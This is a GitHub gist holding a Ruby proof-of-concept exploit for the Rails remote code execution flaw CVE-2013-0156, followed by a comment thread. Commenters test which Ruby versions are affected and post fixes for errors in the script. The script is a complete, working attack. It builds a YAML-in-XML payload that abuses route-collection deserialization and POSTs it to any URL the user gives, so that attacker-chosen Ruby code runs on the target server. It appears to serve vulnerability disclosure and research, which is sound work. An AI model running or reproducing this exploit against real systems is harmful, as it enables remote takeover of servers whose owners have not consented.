-
-
Save postmodern/4499206 to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby | |
# | |
# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156) | |
# | |
# ## Advisory | |
# | |
# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion | |
# | |
# ## Caveats | |
# | |
# * Does not support Ruby 1.8.7. | |
# | |
# ## Synopsis | |
# | |
# $ rails_rce.rb URL RUBY | |
# | |
# ## Dependencies | |
# | |
# $ gem install ronin-support | |
# | |
# ## Example | |
# | |
# $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'" | |
# | |
# ### config/routes.rb | |
# | |
# resources :secrets do | |
# collection do | |
# post :search | |
# end | |
# end | |
# | |
# ### app/controllers/secrets_controller.rb | |
# | |
# def search | |
# @secret = secret.find_by_secret(params[:secret]) | |
# | |
# render :json => @secret | |
# end | |
# | |
# ## License | |
# | |
# Copyright (c) 2013 Postmodern | |
# | |
# This exploit is free software: you can redistribute it and/or modify | |
# it under the terms of the GNU General Public License as published by | |
# the Free Software Foundation, either version 3 of the License, or | |
# (at your option) any later version. | |
# | |
# This exploit is distributed in the hope that it will be useful, | |
# but WITHOUT ANY WARRANTY; without even the implied warranty of | |
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
# GNU General Public License for more details. | |
# | |
# You should have received a copy of the GNU General Public License | |
# along with this exploit. If not, see <http://www.gnu.org/licenses/>. | |
# | |
# ## Shoutz | |
# | |
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch, | |
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern, | |
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @bascule, | |
# @charliesome, @homakov, @envygeek, @chendo, @bitsweat (for creating the vuln), | |
# @tenderlove (for fixing it), Fun Town Auto, garbage pail kids, hipsters, | |
# the old Jolly Inn, Irvin Santiago, that heavy metal dude who always bummed | |
# cigarettes off us, SophSec crew and affiliates. | |
# | |
require 'ronin/network/http' | |
require 'ronin/formatting/html' | |
require 'ronin/ui/output' | |
require 'yaml' | |
include Ronin::Network::HTTP | |
include Ronin::UI::Output::Helpers | |
def escape_payload(payload,target=:rails3) | |
case target | |
when :rails3 then "foo\n#{payload}\n__END__\n" | |
when :rails2 then "foo\nend\n#{payload}\n__END__\n" | |
else | |
raise(ArgumentError,"unsupported target: #{target}") | |
end | |
end | |
def wrap_payload(payload) | |
"(#{payload}; @executed = true) unless @executed" | |
end | |
def exploit(url,payload,target=:rails3) | |
escaped_payload = escape_payload(wrap_payload(payload),target) | |
encoded_payload = escaped_payload.to_yaml.sub('--- ','').chomp | |
yaml = %{ | |
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection | |
? #{encoded_payload} | |
: !ruby/struct | |
defaults: | |
:action: create | |
:controller: foos | |
required_parts: [] | |
requirements: | |
:action: create | |
:controller: foos | |
segment_keys: | |
- :format | |
}.strip | |
xml = %{ | |
<?xml version="1.0" encoding="UTF-8"?> | |
<exploit type="yaml">#{yaml.html_escape}</exploit> | |
}.strip | |
return http_post( | |
:url => url, | |
:headers => { | |
:content_type => 'text/xml', | |
:x_http_method_override => 'get' | |
}, | |
:body => xml | |
) | |
end | |
if $0 == __FILE__ | |
unless ARGV.length >= 2 | |
$stderr.puts "usage: #{$0} URL RUBY [rails3|rails2]" | |
exit -1 | |
end | |
url = ARGV[0] | |
payload = ARGV[1] | |
target = ARGV.fetch(2,:rails3).to_sym | |
print_info "POSTing #{payload} to #{url} ..." | |
response = exploit(url,payload,target) | |
case response.code | |
when '200' then print_info "Success!" | |
when '500' then print_error "Error!" | |
else print_error "Received response code #{response.code}" | |
end | |
end |
@postmodern - I figured out why your exploit did not work for me. My Rails application is running Ruby 1.9.2 which ships with Psych 1.0.0. This version of Psych is not as magical. It will serialize into arbitrary classes for Object, String and Exception. But you always got a plain Hash object from Psych until this pull request. So if your app is running on Ruby 1.9.2 you are not AS vulnerable although I am sure a crafty person could come up with a similar exploit that serializes a subclass of Object, String or Exception and figures out how to execute code on that object.
One thing I am wondering. Since all this depends on YAML serialization of ruby objects, and since Ruby 1.8.x shipped with Syck instead of Psych. Is it as vulnerable? I took a quick look at the code and I don't think it is. All objects that can be deserialized are explicity declared and there is not magic deserialization of sub-classes. Would love someone who is better with security to confirm that. If that is the case then does that means any Rails app on 1.8 is not vulnerable. I know a lot of people have moved to 1.9 but if 1.8 is safe then that significantly cuts down on the number of apps that need to be patched.
Just to followup. I did a bit more testing and Ruby 1.8 is indeed vulnerable to some of your POC scripts, but not this one for the same reason as Ruby 1.9.2. This script depends on the fact that you can unserialize any hash-like object via the ruby/hash tag. Ruby 1.9.2 and Ruby 1.8 BOTH do not allow this. You will always get back a plain Hash.
From what I can tell your symbol DOS POC would still be effective on Ruby 1.8 and Ruby 1.9.2. Also your SQL Injection should still be effective since Arel::Nodes::SqlLiteral inherits from String. Ruby 1.8 and 1.9.2 won't allow a ruby/string to be an arbitrary class. But any subclass of String (like SqlLiteral) will work.
@eric1234 Excellent findings! I will update the blog post.
I have also refactored the exploit to support both Rails 2 and 3. It turns out both Rails 2 and 3 provide a ActionController::Routing::RouteSet::NamedRouteCollection
constant for backwards compatibility. However, the helper code that is evaluated is slightly different, so I had to require the user specify the version of Rails they wish to exploit.
Rails 2
def #{selector}(options = nil)
options ? #{options.inspect}.merge(options) : #{options.inspect}
end
protected :#{selector}
Rails 3
remove_possible_method :#{selector}
def #{selector}(*args)
options = args.extract_options!
result = #{options.inspect}
if args.size > 0
result[:_positional_args] = args
result[:_positional_keys] = #{route.segment_keys.inspect}
end
result.merge(options)
end
protected :#{selector}
@eric1234 Just installed Ruby 1.9.2-p320 and can confirm Rails 2.x and 3.x are not vulnerable to the RCE exploit.
You need to correct the documentation above, as you're also specifying the param 'secret' in there; from what I can see this is not needed for this exploit although was used in the SQL (AREL) injection attack.
# $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'" rails3
@bsodmike good eyes. Fixed.
I'm getting an error:
./rails_rce.rb:92:in `exploit': undefined method `sub' for {}:Hash (NoMethodError)
from ./rails_rce.rb:135:in `<main>'
I also get this error
encoded_payload = escaped_payload.to_yaml('').sub('--- ','').chomp
should fix the error.
Can anyone help me to understand this vulnerability ?
@eric1234 Checkout the lengthy write up. I tested the exploit against a Rails 3.2.9 app, but in development mode. Perhaps check the production log files? However, your example output looks incorrect, it should contain an
ActionDispatch::Routing::RouteSet::NamedRouteCollection
object. Is this app running on Ruby 1.8?